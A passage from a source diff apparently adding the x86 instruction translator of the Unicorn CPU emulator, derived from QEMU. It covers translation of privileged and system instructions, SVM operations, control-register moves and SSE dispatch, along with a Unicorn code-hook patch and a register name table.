} + break; + case 0x130: /* wrmsr */ + case 0x132: /* rdmsr */ + if (s->cpl != 0) { + gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base); + } else { + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + if (b & 2) { + gen_helper_rdmsr(tcg_ctx, cpu_env); + } else { + gen_helper_wrmsr(tcg_ctx, cpu_env); + } + } + break; + case 0x131: /* rdtsc */ + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_rdtsc(tcg_ctx, cpu_env); + break; + case 0x133: /* rdpmc */ + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_rdpmc(tcg_ctx, cpu_env); + break; + case 0x134: /* sysenter */ + /* For Intel SYSENTER is valid on 64-bit */ + if (CODE64(s) && env->cpuid_vendor1 != CPUID_VENDOR_INTEL_1) + goto illegal_op; + + if (!s->pe) { + gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base); + } else { + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_sysenter(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, s->pc - pc_start)); + gen_eob(s); + } + break; + case 0x135: /* sysexit */ + /* For Intel SYSEXIT is valid on 64-bit */ + if (CODE64(s) && env->cpuid_vendor1 != CPUID_VENDOR_INTEL_1) + goto illegal_op; + if (!s->pe) { + gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base); + } else { + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_sysexit(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, dflag - 1)); + gen_eob(s); + } + break; +#ifdef TARGET_X86_64 + case 0x105: /* syscall */ + /* XXX: is it usable in real mode ? */ + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_syscall(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, s->pc - pc_start)); + gen_eob(s); + break; + case 0x107: /* sysret */ + if (!s->pe) { + gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base); + } else { + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_sysret(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, dflag - 1)); + /* condition codes are modified only in long mode */ + if (s->lma) { + set_cc_op(s, CC_OP_EFLAGS); + } + gen_eob(s); + } + break; +#endif + case 0x1a2: /* cpuid */ + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_cpuid(tcg_ctx, cpu_env); + break; + case 0xf4: /* hlt */ + if (s->cpl != 0) { + gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base); + } else { + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_hlt(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, s->pc - pc_start)); + s->is_jmp = DISAS_TB_JUMP; + } + break; + case 0x100: + modrm = cpu_ldub_code(env, s->pc++); + mod = (modrm >> 6) & 3; + op = (modrm >> 3) & 7; + switch(op) { + case 0: /* sldt */ + if (!s->pe || s->vm86) + goto illegal_op; + gen_svm_check_intercept(s, pc_start, SVM_EXIT_LDTR_READ); + tcg_gen_ld32u_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State,ldt.selector)); + ot = mod == 3 ? dflag : MO_16; + gen_ldst_modrm(env, s, modrm, ot, OR_TMP0, 1); + break; + case 2: /* lldt */ + if (!s->pe || s->vm86) + goto illegal_op; + if (s->cpl != 0) { + gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base); + } else { + gen_svm_check_intercept(s, pc_start, SVM_EXIT_LDTR_WRITE); + gen_ldst_modrm(env, s, modrm, MO_16, OR_TMP0, 0); + gen_jmp_im(s, pc_start - s->cs_base); + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp2_i32, *cpu_T[0]); + gen_helper_lldt(tcg_ctx, cpu_env, cpu_tmp2_i32); + } + break; + case 1: /* str */ + if (!s->pe || s->vm86) + goto illegal_op; + gen_svm_check_intercept(s, pc_start, SVM_EXIT_TR_READ); + tcg_gen_ld32u_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State,tr.selector)); + ot = mod == 3 ? dflag : MO_16; + gen_ldst_modrm(env, s, modrm, ot, OR_TMP0, 1); + break; + case 3: /* ltr */ + if (!s->pe || s->vm86) + goto illegal_op; + if (s->cpl != 0) { + gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base); + } else { + gen_svm_check_intercept(s, pc_start, SVM_EXIT_TR_WRITE); + gen_ldst_modrm(env, s, modrm, MO_16, OR_TMP0, 0); + gen_jmp_im(s, pc_start - s->cs_base); + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp2_i32, *cpu_T[0]); + gen_helper_ltr(tcg_ctx, cpu_env, cpu_tmp2_i32); + } + break; + case 4: /* verr */ + case 5: /* verw */ + if (!s->pe || s->vm86) + goto illegal_op; + gen_ldst_modrm(env, s, modrm, MO_16, OR_TMP0, 0); + gen_update_cc_op(s); + if (op == 4) { + gen_helper_verr(tcg_ctx, cpu_env, *cpu_T[0]); + } else { + gen_helper_verw(tcg_ctx, cpu_env, *cpu_T[0]); + } + set_cc_op(s, CC_OP_EFLAGS); + break; + default: + goto illegal_op; + } + break; + case 0x101: + modrm = cpu_ldub_code(env, s->pc++); + mod = (modrm >> 6) & 3; + op = (modrm >> 3) & 7; + rm = modrm & 7; + switch(op) { + case 0: /* sgdt */ + if (mod == 3) + goto illegal_op; + gen_svm_check_intercept(s, pc_start, SVM_EXIT_GDTR_READ); + gen_lea_modrm(env, s, modrm); + tcg_gen_ld32u_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State, gdt.limit)); + gen_op_st_v(s, MO_16, *cpu_T[0], cpu_A0); + gen_add_A0_im(s, 2); + tcg_gen_ld_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State, gdt.base)); + if (dflag == MO_16) { + tcg_gen_andi_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], 0xffffff); + } + gen_op_st_v(s, CODE64(s) + MO_32, *cpu_T[0], cpu_A0); + break; + case 1: + if (mod == 3) { + switch (rm) { + case 0: /* monitor */ + if (!(s->cpuid_ext_features & CPUID_EXT_MONITOR) || + s->cpl != 0) + goto illegal_op; + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + tcg_gen_mov_tl(tcg_ctx, cpu_A0, *cpu_regs[R_EAX]); + gen_extu(tcg_ctx, s->aflag, cpu_A0); + gen_add_A0_ds_seg(s); + gen_helper_monitor(tcg_ctx, cpu_env, cpu_A0); + break; + case 1: /* mwait */ + if (!(s->cpuid_ext_features & CPUID_EXT_MONITOR) || + s->cpl != 0) + goto illegal_op; + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_mwait(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, s->pc - pc_start)); + gen_eob(s); + break; + case 2: /* clac */ + if (!(s->cpuid_7_0_ebx_features & CPUID_7_0_EBX_SMAP) || + s->cpl != 0) { + goto illegal_op; + } + gen_helper_clac(tcg_ctx, cpu_env); + gen_jmp_im(s, s->pc - s->cs_base); + gen_eob(s); + break; + case 3: /* stac */ + if (!(s->cpuid_7_0_ebx_features & CPUID_7_0_EBX_SMAP) || + s->cpl != 0) { + goto illegal_op; + } + gen_helper_stac(tcg_ctx, cpu_env); + gen_jmp_im(s, s->pc - s->cs_base); + gen_eob(s); + break; + default: + goto illegal_op; + } + } else { /* sidt */ + gen_svm_check_intercept(s, pc_start, SVM_EXIT_IDTR_READ); + gen_lea_modrm(env, s, modrm); + tcg_gen_ld32u_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State, idt.limit)); + gen_op_st_v(s, MO_16, *cpu_T[0], cpu_A0); + gen_add_A0_im(s, 2); + tcg_gen_ld_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State, idt.base)); + if (dflag == MO_16) { + tcg_gen_andi_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], 0xffffff); + } + gen_op_st_v(s, CODE64(s) + MO_32, *cpu_T[0], cpu_A0); + } + break; + case 2: /* lgdt */ + case 3: /* lidt */ + if (mod == 3) { + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + switch(rm) { + case 0: /* VMRUN */ + if (!(s->flags & HF_SVME_MASK) || !s->pe) + goto illegal_op; + if (s->cpl != 0) { + gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base); + break; + } else { + gen_helper_vmrun(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, s->aflag - 1), + tcg_const_i32(tcg_ctx, s->pc - pc_start)); + tcg_gen_exit_tb(tcg_ctx, 0); + s->is_jmp = DISAS_TB_JUMP; + } + break; + case 1: /* VMMCALL */ + if (!(s->flags & HF_SVME_MASK)) + goto illegal_op; + gen_helper_vmmcall(tcg_ctx, cpu_env); + break; + case 2: /* VMLOAD */ + if (!(s->flags & HF_SVME_MASK) || !s->pe) + goto illegal_op; + if (s->cpl != 0) { + gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base); + break; + } else { + gen_helper_vmload(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, s->aflag - 1)); + } + break; + case 3: /* VMSAVE */ + if (!(s->flags & HF_SVME_MASK) || !s->pe) + goto illegal_op; + if (s->cpl != 0) { + gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base); + break; + } else { + gen_helper_vmsave(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, s->aflag - 1)); + } + break; + case 4: /* STGI */ + if ((!(s->flags & HF_SVME_MASK) && + !(s->cpuid_ext3_features & CPUID_EXT3_SKINIT)) || + !s->pe) + goto illegal_op; + if (s->cpl != 0) { + gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base); + break; + } else { + gen_helper_stgi(tcg_ctx, cpu_env); + } + break; + case 5: /* CLGI */ + if (!(s->flags & HF_SVME_MASK) || !s->pe) + goto illegal_op; + if (s->cpl != 0) { + gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base); + break; + } else { + gen_helper_clgi(tcg_ctx, cpu_env); + } + break; + case 6: /* SKINIT */ + if ((!(s->flags & HF_SVME_MASK) && + !(s->cpuid_ext3_features & CPUID_EXT3_SKINIT)) || + !s->pe) + goto illegal_op; + gen_helper_skinit(tcg_ctx, cpu_env); + break; + case 7: /* INVLPGA */ + if (!(s->flags & HF_SVME_MASK) || !s->pe) + goto illegal_op; + if (s->cpl != 0) { + gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base); + break; + } else { + gen_helper_invlpga(tcg_ctx, cpu_env, + tcg_const_i32(tcg_ctx, s->aflag - 1)); + } + break; + default: + goto illegal_op; + } + } else if (s->cpl != 0) { + gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base); + } else { + gen_svm_check_intercept(s, pc_start, + op==2 ? SVM_EXIT_GDTR_WRITE : SVM_EXIT_IDTR_WRITE); + gen_lea_modrm(env, s, modrm); + gen_op_ld_v(s, MO_16, *cpu_T[1], cpu_A0); + gen_add_A0_im(s, 2); + gen_op_ld_v(s, CODE64(s) + MO_32, *cpu_T[0], cpu_A0); + if (dflag == MO_16) { + tcg_gen_andi_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], 0xffffff); + } + if (op == 2) { + tcg_gen_st_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State,gdt.base)); + tcg_gen_st32_tl(tcg_ctx, *cpu_T[1], cpu_env, offsetof(CPUX86State,gdt.limit)); + } else { + tcg_gen_st_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State,idt.base)); + tcg_gen_st32_tl(tcg_ctx, *cpu_T[1], cpu_env, offsetof(CPUX86State,idt.limit)); + } + } + break; + case 4: /* smsw */ + gen_svm_check_intercept(s, pc_start, SVM_EXIT_READ_CR0); +#if defined TARGET_X86_64 && defined HOST_WORDS_BIGENDIAN + tcg_gen_ld32u_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State,cr[0]) + 4); +#else + tcg_gen_ld32u_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State,cr[0])); +#endif + gen_ldst_modrm(env, s, modrm, MO_16, OR_TMP0, 1); + break; + case 6: /* lmsw */ + if (s->cpl != 0) { + gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base); + } else { + gen_svm_check_intercept(s, pc_start, SVM_EXIT_WRITE_CR0); + gen_ldst_modrm(env, s, modrm, MO_16, OR_TMP0, 0); + gen_helper_lmsw(tcg_ctx, cpu_env, *cpu_T[0]); + gen_jmp_im(s, s->pc - s->cs_base); + gen_eob(s); + } + break; + case 7: + if (mod != 3) { /* invlpg */ + if (s->cpl != 0) { + gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base); + } else { + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + gen_lea_modrm(env, s, modrm); + gen_helper_invlpg(tcg_ctx, cpu_env, cpu_A0); + gen_jmp_im(s, s->pc - s->cs_base); + gen_eob(s); + } + } else { + switch (rm) { + case 0: /* swapgs */ +#ifdef TARGET_X86_64 + if (CODE64(s)) { + if (s->cpl != 0) { + gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base); + } else { + tcg_gen_ld_tl(tcg_ctx, *cpu_T[0], cpu_env, + offsetof(CPUX86State,segs[R_GS].base)); + tcg_gen_ld_tl(tcg_ctx, *cpu_T[1], cpu_env, + offsetof(CPUX86State,kernelgsbase)); + tcg_gen_st_tl(tcg_ctx, *cpu_T[1], cpu_env, + offsetof(CPUX86State,segs[R_GS].base)); + tcg_gen_st_tl(tcg_ctx, *cpu_T[0], cpu_env, + offsetof(CPUX86State,kernelgsbase)); + } + } else +#endif + { + goto illegal_op; + } + break; + case 1: /* rdtscp */ + if (!(s->cpuid_ext2_features & CPUID_EXT2_RDTSCP)) + goto illegal_op; + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_rdtscp(tcg_ctx, cpu_env); + break; + default: + goto illegal_op; + } + } + break; + default: + goto illegal_op; + } + break; + case 0x108: /* invd */ + case 0x109: /* wbinvd */ + if (s->cpl != 0) { + gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base); + } else { + gen_svm_check_intercept(s, pc_start, (b & 2) ? SVM_EXIT_INVD : SVM_EXIT_WBINVD); + /* nothing to do */ + } + break; + case 0x63: /* arpl or movslS (x86_64) */ +#ifdef TARGET_X86_64 + if (CODE64(s)) { + int d_ot; + /* d_ot is the size of destination */ + d_ot = dflag; + + modrm = cpu_ldub_code(env, s->pc++); + reg = ((modrm >> 3) & 7) | rex_r; + mod = (modrm >> 6) & 3; + rm = (modrm & 7) | REX_B(s); + + if (mod == 3) { + gen_op_mov_v_reg(tcg_ctx, MO_32, *cpu_T[0], rm); + /* sign extend */ + if (d_ot == MO_64) { + tcg_gen_ext32s_tl(tcg_ctx, *cpu_T[0], *cpu_T[0]); + } + gen_op_mov_reg_v(tcg_ctx, d_ot, reg, *cpu_T[0]); + } else { + gen_lea_modrm(env, s, modrm); + gen_op_ld_v(s, MO_32 | MO_SIGN, *cpu_T[0], cpu_A0); + gen_op_mov_reg_v(tcg_ctx, d_ot, reg, *cpu_T[0]); + } + } else +#endif + { + int label1; + TCGv t0, t1, t2, a0; + + if (!s->pe || s->vm86) + goto illegal_op; + t0 = tcg_temp_local_new(tcg_ctx); + t1 = tcg_temp_local_new(tcg_ctx); + t2 = tcg_temp_local_new(tcg_ctx); + ot = MO_16; + modrm = cpu_ldub_code(env, s->pc++); + reg = (modrm >> 3) & 7; + mod = (modrm >> 6) & 3; + rm = modrm & 7; + if (mod != 3) { + gen_lea_modrm(env, s, modrm); + gen_op_ld_v(s, ot, t0, cpu_A0); + a0 = tcg_temp_local_new(tcg_ctx); + tcg_gen_mov_tl(tcg_ctx, a0, cpu_A0); + } else { + gen_op_mov_v_reg(tcg_ctx, ot, t0, rm); + TCGV_UNUSED(a0); + } + gen_op_mov_v_reg(tcg_ctx, ot, t1, reg); + tcg_gen_andi_tl(tcg_ctx, cpu_tmp0, t0, 3); + tcg_gen_andi_tl(tcg_ctx, t1, t1, 3); + tcg_gen_movi_tl(tcg_ctx, t2, 0); + label1 = gen_new_label(tcg_ctx); + tcg_gen_brcond_tl(tcg_ctx, TCG_COND_GE, cpu_tmp0, t1, label1); + tcg_gen_andi_tl(tcg_ctx, t0, t0, ~3); + tcg_gen_or_tl(tcg_ctx, t0, t0, t1); + tcg_gen_movi_tl(tcg_ctx, t2, CC_Z); + gen_set_label(tcg_ctx, label1); + if (mod != 3) { + gen_op_st_v(s, ot, t0, a0); + tcg_temp_free(tcg_ctx, a0); + } else { + gen_op_mov_reg_v(tcg_ctx, ot, rm, t0); + } + gen_compute_eflags(s); + tcg_gen_andi_tl(tcg_ctx, cpu_cc_src, cpu_cc_src, ~CC_Z); + tcg_gen_or_tl(tcg_ctx, cpu_cc_src, cpu_cc_src, t2); + tcg_temp_free(tcg_ctx, t0); + tcg_temp_free(tcg_ctx, t1); + tcg_temp_free(tcg_ctx, t2); + } + break; + case 0x102: /* lar */ + case 0x103: /* lsl */ + { + int label1; + TCGv t0; + if (!s->pe || s->vm86) + goto illegal_op; + ot = dflag != MO_16 ? MO_32 : MO_16; + modrm = cpu_ldub_code(env, s->pc++); + reg = ((modrm >> 3) & 7) | rex_r; + gen_ldst_modrm(env, s, modrm, MO_16, OR_TMP0, 0); + t0 = tcg_temp_local_new(tcg_ctx); + gen_update_cc_op(s); + if (b == 0x102) { + gen_helper_lar(tcg_ctx, t0, cpu_env, *cpu_T[0]); + } else { + gen_helper_lsl(tcg_ctx, t0, cpu_env, *cpu_T[0]); + } + tcg_gen_andi_tl(tcg_ctx, cpu_tmp0, cpu_cc_src, CC_Z); + label1 = gen_new_label(tcg_ctx); + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_EQ, cpu_tmp0, 0, label1); + gen_op_mov_reg_v(tcg_ctx, ot, reg, t0); + gen_set_label(tcg_ctx, label1); + set_cc_op(s, CC_OP_EFLAGS); + tcg_temp_free(tcg_ctx, t0); + } + break; + case 0x118: + modrm = cpu_ldub_code(env, s->pc++); + mod = (modrm >> 6) & 3; + op = (modrm >> 3) & 7; + switch(op) { + case 0: /* prefetchnta */ + case 1: /* prefetchnt0 */ + case 2: /* prefetchnt0 */ + case 3: /* prefetchnt0 */ + if (mod == 3) + goto illegal_op; + gen_lea_modrm(env, s, modrm); + /* nothing more to do */ + break; + default: /* nop (multi byte) */ + gen_nop_modrm(env, s, modrm); + break; + } + break; + //case 0x119 ... 0x11f: /* nop (multi byte) */ + case 0x119: case 0x11a: case 0x11b: case 0x11c: case 0x11d: case 0x11e: case 0x11f: + modrm = cpu_ldub_code(env, s->pc++); + gen_nop_modrm(env, s, modrm); + break; + case 0x120: /* mov reg, crN */ + case 0x122: /* mov crN, reg */ + if (s->cpl != 0) { + gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base); + } else { + modrm = cpu_ldub_code(env, s->pc++); + /* Ignore the mod bits (assume (modrm&0xc0)==0xc0). + * AMD documentation (24594.pdf) and testing of + * intel 386 and 486 processors all show that the mod bits + * are assumed to be 1's, regardless of actual values. + */ + rm = (modrm & 7) | REX_B(s); + reg = ((modrm >> 3) & 7) | rex_r; + if (CODE64(s)) + ot = MO_64; + else + ot = MO_32; + if ((prefixes & PREFIX_LOCK) && (reg == 0) && + (s->cpuid_ext3_features & CPUID_EXT3_CR8LEG)) { + reg = 8; + } + switch(reg) { + case 0: + case 2: + case 3: + case 4: + case 8: + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + if (b & 2) { + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[0], rm); + gen_helper_write_crN(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, reg), + *cpu_T[0]); + gen_jmp_im(s, s->pc - s->cs_base); + gen_eob(s); + } else { + gen_helper_read_crN(tcg_ctx, *cpu_T[0], cpu_env, tcg_const_i32(tcg_ctx, reg)); + gen_op_mov_reg_v(tcg_ctx, ot, rm, *cpu_T[0]); + } + break; + default: + goto illegal_op; + } + } + break; + case 0x121: /* mov reg, drN */ + case 0x123: /* mov drN, reg */ + if (s->cpl != 0) { + gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base); + } else { + modrm = cpu_ldub_code(env, s->pc++); + /* Ignore the mod bits (assume (modrm&0xc0)==0xc0). + * AMD documentation (24594.pdf) and testing of + * intel 386 and 486 processors all show that the mod bits + * are assumed to be 1's, regardless of actual values. + */ + rm = (modrm & 7) | REX_B(s); + reg = ((modrm >> 3) & 7) | rex_r; + if (CODE64(s)) + ot = MO_64; + else + ot = MO_32; + /* XXX: do it dynamically with CR4.DE bit */ + if (reg == 4 || reg == 5 || reg >= 8) + goto illegal_op; + if (b & 2) { + gen_svm_check_intercept(s, pc_start, SVM_EXIT_WRITE_DR0 + reg); + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[0], rm); + gen_helper_movl_drN_T0(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, reg), *cpu_T[0]); + gen_jmp_im(s, s->pc - s->cs_base); + gen_eob(s); + } else { + gen_svm_check_intercept(s, pc_start, SVM_EXIT_READ_DR0 + reg); + tcg_gen_ld_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State,dr[reg])); + gen_op_mov_reg_v(tcg_ctx, ot, rm, *cpu_T[0]); + } + } + break; + case 0x106: /* clts */ + if (s->cpl != 0) { + gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base); + } else { + gen_svm_check_intercept(s, pc_start, SVM_EXIT_WRITE_CR0); + gen_helper_clts(tcg_ctx, cpu_env); + /* abort block because static cpu state changed */ + gen_jmp_im(s, s->pc - s->cs_base); + gen_eob(s); + } + break; + /* MMX/3DNow!/SSE/SSE2/SSE3/SSSE3/SSE4 support */ + case 0x1c3: /* MOVNTI reg, mem */ + if (!(s->cpuid_features & CPUID_SSE2)) + goto illegal_op; + ot = mo_64_32(dflag); + modrm = cpu_ldub_code(env, s->pc++); + mod = (modrm >> 6) & 3; + if (mod == 3) + goto illegal_op; + reg = ((modrm >> 3) & 7) | rex_r; + /* generate a generic store */ + gen_ldst_modrm(env, s, modrm, ot, reg, 1); + break; + case 0x1ae: + modrm = cpu_ldub_code(env, s->pc++); + mod = (modrm >> 6) & 3; + op = (modrm >> 3) & 7; + switch(op) { + case 0: /* fxsave */ + if (mod == 3 || !(s->cpuid_features & CPUID_FXSR) || + (s->prefix & PREFIX_LOCK)) + goto illegal_op; + if ((s->flags & HF_EM_MASK) || (s->flags & HF_TS_MASK)) { + gen_exception(s, EXCP07_PREX, pc_start - s->cs_base); + break; + } + gen_lea_modrm(env, s, modrm); + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_fxsave(tcg_ctx, cpu_env, cpu_A0, tcg_const_i32(tcg_ctx, dflag == MO_64)); + break; + case 1: /* fxrstor */ + if (mod == 3 || !(s->cpuid_features & CPUID_FXSR) || + (s->prefix & PREFIX_LOCK)) + goto illegal_op; + if ((s->flags & HF_EM_MASK) || (s->flags & HF_TS_MASK)) { + gen_exception(s, EXCP07_PREX, pc_start - s->cs_base); + break; + } + gen_lea_modrm(env, s, modrm); + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_fxrstor(tcg_ctx, cpu_env, cpu_A0, tcg_const_i32(tcg_ctx, dflag == MO_64)); + break; + case 2: /* ldmxcsr */ + case 3: /* stmxcsr */ + if (s->flags & HF_TS_MASK) { + gen_exception(s, EXCP07_PREX, pc_start - s->cs_base); + break; + } + if ((s->flags & HF_EM_MASK) || !(s->flags & HF_OSFXSR_MASK) || + mod == 3) + goto illegal_op; + gen_lea_modrm(env, s, modrm); + if (op == 2) { + tcg_gen_qemu_ld_i32(s->uc, cpu_tmp2_i32, cpu_A0, + s->mem_index, MO_LEUL); + gen_helper_ldmxcsr(tcg_ctx, cpu_env, cpu_tmp2_i32); + } else { + tcg_gen_ld32u_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State, mxcsr)); + gen_op_st_v(s, MO_32, *cpu_T[0], cpu_A0); + } + break; + case 5: /* lfence */ + case 6: /* mfence */ + if ((modrm & 0xc7) != 0xc0 || !(s->cpuid_features & CPUID_SSE2)) + goto illegal_op; + break; + case 7: /* sfence / clflush */ + if ((modrm & 0xc7) == 0xc0) { + /* sfence */ + /* XXX: also check for cpuid_ext2_features & CPUID_EXT2_EMMX */ + if (!(s->cpuid_features & CPUID_SSE)) + goto illegal_op; + } else { + /* clflush */ + if (!(s->cpuid_features & CPUID_CLFLUSH)) + goto illegal_op; + gen_lea_modrm(env, s, modrm); + } + break; + default: + goto illegal_op; + } + break; + case 0x10d: /* 3DNow! prefetch(w) */ + modrm = cpu_ldub_code(env, s->pc++); + mod = (modrm >> 6) & 3; + if (mod == 3) + goto illegal_op; + gen_lea_modrm(env, s, modrm); + /* ignore for now */ + break; + case 0x1aa: /* rsm */ + gen_svm_check_intercept(s, pc_start, SVM_EXIT_RSM); + if (!(s->flags & HF_SMM_MASK)) + goto illegal_op; + gen_update_cc_op(s); + gen_jmp_im(s, s->pc - s->cs_base); + gen_helper_rsm(tcg_ctx, cpu_env); + gen_eob(s); + break; + case 0x1b8: /* SSE4.2 popcnt */ + if ((prefixes & (PREFIX_REPZ | PREFIX_LOCK | PREFIX_REPNZ)) != + PREFIX_REPZ) + goto illegal_op; + if (!(s->cpuid_ext_features & CPUID_EXT_POPCNT)) + goto illegal_op; + + modrm = cpu_ldub_code(env, s->pc++); + reg = ((modrm >> 3) & 7) | rex_r; + + if (s->prefix & PREFIX_DATA) { + ot = MO_16; + } else { + ot = mo_64_32(dflag); + } + + gen_ldst_modrm(env, s, modrm, ot, OR_TMP0, 0); + gen_helper_popcnt(tcg_ctx, *cpu_T[0], cpu_env, *cpu_T[0], tcg_const_i32(tcg_ctx, ot)); + gen_op_mov_reg_v(tcg_ctx, ot, reg, *cpu_T[0]); + + set_cc_op(s, CC_OP_EFLAGS); + break; + case 0x10e: case 0x10f: + /* 3DNow! instructions, ignore prefixes */ + s->prefix &= ~(PREFIX_REPZ | PREFIX_REPNZ | PREFIX_DATA); + case 0x110: case 0x111: case 0x112: case 0x113: case 0x114: case 0x115: case 0x116: case 0x117: //case 0x110 ... 0x117: + case 0x128: case 0x129: case 0x12a: case 0x12b: case 0x12c: case 0x12d: case 0x12e: case 0x12f: //case 0x128 ... 0x12f: + case 0x138: case 0x139: case 0x13a: + // case 0x150 ... 0x179: + case 0x150: case 0x151: case 0x152: case 0x153: case 0x154: case 0x155: case 0x156: case 0x157: + case 0x158: case 0x159: case 0x15a: case 0x15b: case 0x15c: case 0x15d: case 0x15e: case 0x15f: + case 0x160: case 0x161: case 0x162: case 0x163: case 0x164: case 0x165: case 0x166: case 0x167: + case 0x168: case 0x169: case 0x16a: case 0x16b: case 0x16c: case 0x16d: case 0x16e: case 0x16f: + case 0x170: case 0x171: case 0x172: case 0x173: case 0x174: case 0x175: case 0x176: case 0x177: + case 0x178: case 0x179: + // case 0x17c ... 0x17f: + case 0x17c: case 0x17d: case 0x17e: case 0x17f: + case 0x1c2: + case 0x1c4: case 0x1c5: case 0x1c6: + //case 0x1d0 ... 0x1fe: + case 0x1d0: case 0x1d1: case 0x1d2: case 0x1d3: case 0x1d4: case 0x1d5: case 0x1d6: case 0x1d7: + case 0x1d8: case 0x1d9: case 0x1da: case 0x1db: case 0x1dc: case 0x1dd: case 0x1de: case 0x1df: + case 0x1e0: case 0x1e1: case 0x1e2: case 0x1e3: case 0x1e4: case 0x1e5: case 0x1e6: case 0x1e7: + case 0x1e8: case 0x1e9: case 0x1ea: case 0x1eb: case 0x1ec: case 0x1ed: case 0x1ee: case 0x1ef: + case 0x1f0: case 0x1f1: case 0x1f2: case 0x1f3: case 0x1f4: case 0x1f5: case 0x1f6: case 0x1f7: + case 0x1f8: case 0x1f9: case 0x1fa: case 0x1fb: case 0x1fc: case 0x1fd: case 0x1fe: + gen_sse(env, s, b, pc_start, rex_r); + break; + default: + goto illegal_op; + } + /* lock generation */ + if (s->prefix & PREFIX_LOCK) + gen_helper_unlock(tcg_ctx, cpu_env); + + // Unicorn: patch the callback for the instruction size + if (HOOK_EXISTS_BOUNDED(env->uc, UC_HOOK_CODE, pc_start)) { + // int i; + // for(i = 0; i < 20; i++) + // printf("=== [%u] = %x\n", i, *(save_opparam_ptr + i)); + // printf("\n"); + if (changed_cc_op) { + if (cc_op_dirty) +#if TCG_TARGET_REG_BITS == 32 + *(save_opparam_ptr + 16) = s->pc - pc_start; + else + *(save_opparam_ptr + 14) = s->pc - pc_start; +#else + *(save_opparam_ptr + 12) = s->pc - pc_start; + else + *(save_opparam_ptr + 10) = s->pc - pc_start; +#endif + } else { + *(save_opparam_ptr + 1) = s->pc - pc_start; + } + } + + return s->pc; + illegal_op: + if (s->prefix & PREFIX_LOCK) + gen_helper_unlock(tcg_ctx, cpu_env); + /* XXX: ensure that no lock was generated */ + gen_exception(s, EXCP06_ILLOP, pc_start - s->cs_base); + return s->pc; +} + +void optimize_flags_init(struct uc_struct *uc) +{ + static const char reg_names[CPU_NB_REGS][4] = { +#ifdef TARGET_X86_64 + "rax", + "rcx", + "rdx", + "rbx", + "rsp", + "rbp", + "rsi", + "rdi", + "r8", + "r9", + "r10", + "r11", + "r12", + "r13", + "r14", + "r15", +#else + "eax", + "ecx", + "edx", + "ebx", + "esp", + "ebp", + "esi", + "edi", +#endif + }; + int 